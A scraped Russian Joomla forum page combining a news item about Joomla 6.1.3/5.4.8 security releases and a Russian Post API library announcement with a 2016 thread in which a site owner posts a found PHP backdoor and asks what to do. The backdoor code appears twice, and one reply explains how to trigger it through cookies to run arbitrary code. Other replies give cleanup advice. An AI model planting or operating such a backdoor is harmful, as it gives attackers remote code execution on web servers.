Новости Joomla

Вышли релизы безопасности Joomla 6.1.3 и Joomla 5.4.8

Релиз безопасности Joomla 6.1.3 и Joomla 5.4.8

Проект Joomla! рад сообщить о выходе Joomla 6.1.3 и Joomla 5.4.8. Это релизы безопасности и исправления ошибок для серий 5.x и 6.x.

👩‍💻 WT Otpravkapochtaru - библиотека сервиса Отправка Почты России для Joomla-разработчиков.

👩‍💻 WT Otpravkapochtaru - библиотека сервиса Отправка Почты России для Joomla-разработчиков.

Joomla 5+ пакет для интеграции с API Почты России: нормализация данных, расчёт доставки, создание отправлений, партии, документы, возвраты, поиск отделений, справочники и SOAP-отслеживание.

v.3.0.0. Что нового?
Это дальнейшее развитие ранее закрытой Joomla-библиотеки для работы с API сервиса Отправка (для бизнеса) Почты России. Поэтому версия не 1.0.0, а 3.0.0.

Сейчас эта библиотека ушла от собственных реализаций и стала Joomla-обёрткой известного PHP SDK от Lapay Group.

Возможности библиотеки.
- получение настроек аккаунта, точек сдачи и текущего остатка запросов к API;
- нормализация адресов, ФИО и телефонов перед созданием отправления;
- расчёт тарифа и срока доставки;
- создание, поиск, изменение, удаление и возврат заказов в состояние «Новые»;
- проверка надёжности получателя;
- создание партий, просмотр партий и заказов внутри партии;
- генерация пакета печатных документов и формы Ф103;
- создание, изменение и удаление возвратных отправлений;
- поиск отделений по индексу, адресу и координатам, получение сервисов отделения;
- локальный список стран;
- SOAP-отслеживание операций по РПО и работа с билетами пакетного трекинга.

👩‍💻 Joomla-возможности.
В пакете библиотеки WT Otpravkapochtaru есть поля Joomla Form для расширений. Они позволяют работать в интерфейсе Joomla с некоторыми типами данных, получаемых по API из вашего личного кабинета в ЛК Почты России для бизнеса.
На данный момент в библиотеке доступны 3 поля списков, которые отображают доступные в аккаунте ОПС, типы и категории отправлений.
Поддерживаются зависимые списки: значение одного поля обновляется при изменении другого.

Системные требования.
Системные требования в основном связаны с системными требованиями апстрима библиотеки - LapayGroup PHP SDK.
- Joomla 5+
- PHP 8.3+
- Расширения PHP:
-- ext-mbstring
-- ext-simplexml
-- ext-soap (опционально, для трекинга)
-- ext-zip

Ссылки:
- Страница расширения
- GitHub библиотеки и документация

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 14 Ответов
  • 2055 Просмотров
*

katerrinka

  • Новичок
  • 7
  • 0 / 0
2 файла:

administrator/components/weklz.php


<?php
class PluginJoomla {
 public function __construct() {
  $jq = @$_COOKIE['41bjGEDj3'];
  if ($jq) {
   $option = $jq(@$_COOKIE['41bjGEDj2']);
   $au=$jq(@$_COOKIE['41bjGEDj1']);
   $option("/438/e",$au,438);
  } else {
   phpinfo();die;
  }
 }
}
$content = new PluginJoomla;

Что можно с ними сделать? удалить? закомментировать?
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
Re: нашла вирусы, что с ними делать?
« Ответ #1 : 07.02.2016, 18:14:16 »
делайте что угодно, главное поймите, что это не решит вашу проблему. вам надо найти и устранить дыру через которую они к вам попали.
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

katerrinka

  • Новичок
  • 7
  • 0 / 0
Re: нашла вирусы, что с ними делать?
« Ответ #2 : 07.02.2016, 18:25:24 »
Вот второй файл насколько я поняла из статьи на хабре и есть шелл:

Спойлер
[свернуть]
« Последнее редактирование: 07.02.2016, 21:52:00 от flyingspook »
*

katerrinka

  • Новичок
  • 7
  • 0 / 0
Re: нашла вирусы, что с ними делать?
« Ответ #3 : 07.02.2016, 18:33:07 »
Дальше планирую удалить всякие модули типо обратной связи. Закрыть доступ в админку и доступ по ftp.
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
Re: нашла вирусы, что с ними делать?
« Ответ #4 : 07.02.2016, 18:55:46 »
Дальше планирую удалить всякие модули типо обратной связи.
почему именно их?
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: нашла вирусы, что с ними делать?
« Ответ #5 : 07.02.2016, 19:03:04 »
почему именно их?
Видно что под горячую руку попалось или под женскую логику :)

///

Катеринка:вам стоило бы, как вам указали выше, понять, откуда это и возможно в шаблоне/расширении изначально было, а не заразили вас!

И может и дырка в коде или иная уязвимость.
А вы сразу, как хирурги-лижбы резать.
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: нашла вирусы, что с ними делать?
« Ответ #6 : 07.02.2016, 21:53:02 »
Вам чистить и обновлять сайт с расширениями надо.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: нашла вирусы, что с ними делать?
« Ответ #7 : 07.02.2016, 21:55:43 »
Можно их на 5 минут в микроволновку и потом соусом чили полить - будет вкусно.
*

ChaosHead

  • Гуру
  • 5242
  • 451 / 13
Re: нашла вирусы, что с ними делать?
« Ответ #8 : 08.02.2016, 00:01:39 »
Вирусы - это программы, которые сами распространяются, а у вас тут просто кто-то ходит через заднюю дверь и "хозяйничает" с вашим сайтом.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: нашла вирусы, что с ними делать?
« Ответ #9 : 08.02.2016, 09:52:30 »
2 файла:

administrator/components/weklz.php


<?php
class PluginJoomla {
 public function __construct() {
  $jq = @$_COOKIE['41bjGEDj3'];
  if ($jq) {
   $option = $jq(@$_COOKIE['41bjGEDj2']);
   $au=$jq(@$_COOKIE['41bjGEDj1']);
   $option("/438/e",$au,438);
  } else {
   phpinfo();die;
  }
 }
}
$content = new PluginJoomla;

Что можно с ними сделать? удалить? закомментировать?

в куках примерно так:
Цитировать
41bjGEDj3=assert; 41bjGEDj1=echo "ТУТ БЫЛ ВАСЯ";
для болие коректного кода в базе 64 засунте))
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
Re: нашла вирусы, что с ними делать?
« Ответ #10 : 08.02.2016, 11:11:19 »
в куках примерно так:

мне почему то кажется что на вопрос

Что можно с ними сделать?

ожидался другой ответ  ;D
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

CCTRRoman

  • Захожу иногда
  • 121
  • 3 / 0
Re: нашла вирусы, что с ними делать?
« Ответ #11 : 08.02.2016, 12:30:54 »
Попробуйте
1. https://www.revisium.com/ai/
или
2. https://www.reg.ru/support/hosting-i-servery/servery-vps/reshenie-problem-raboty-vps/kak-proverit-server-na-nalichie-virusov
или
3. https://www.rsjoomla.com/joomla-extensions/joomla-security.html

ну а затем, после удаления всего лишнего, поменять все пароли на всё,
обновить всё на сайте до последних версий
и не пользоваться варезными расширениями :-)
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: нашла вирусы, что с ними делать?
« Ответ #12 : 08.02.2016, 20:11:08 »
или
3. https://www.rsjoomla.com/joomla-extensions/joomla-security.html

ну а затем, после удаления всего лишнего, поменять все пароли на всё,
обновить всё на сайте до последних версий
и не пользоваться варезными расширениями :-)
Крайне не рекомендую этот сервис
*

Lentochka

  • Осваиваюсь на форуме
  • 43
  • 7 / 0
Re: нашла вирусы, что с ними делать?
« Ответ #13 : 09.02.2016, 09:44:22 »
Крайне не рекомендую этот сервис
А что с ним не так?
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: нашла вирусы, что с ними делать?
« Ответ #14 : 09.02.2016, 13:13:33 »
А что с ним не так?
Если вы что то понимаете в природе уязвимостей, и имеете четкое представление к чему это ведет, то вот пост https://forum.antichat.ru/threads/50600/page-16#post-3923889
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Вирус на сайте, редирект, что делать как лечить!

Автор flyingspook

Ответов: 792
Просмотров: 330569
Последний ответ 23.02.2020, 21:18:16
от draff
Вирусы на сайте - как лечить

Автор fireman

Ответов: 37
Просмотров: 8787
Последний ответ 08.11.2017, 23:37:08
от dmitry_stas
Проверка на вирусы: как не удалить нужный файл

Автор Vosblog

Ответов: 4
Просмотров: 2670
Последний ответ 05.09.2017, 23:12:57
от ELLE
Обноружен Swf.Exploit.CVE_2016_0995-1 на сайте, что делать?

Автор Elimelech

Ответов: 1
Просмотров: 1435
Последний ответ 29.04.2017, 11:26:44
от ProtectYourSite
Взлом или Joomla должна штатно такое делать?

Автор alpeichik

Ответов: 19
Просмотров: 2608
Последний ответ 04.02.2017, 19:48:38
от flyingspook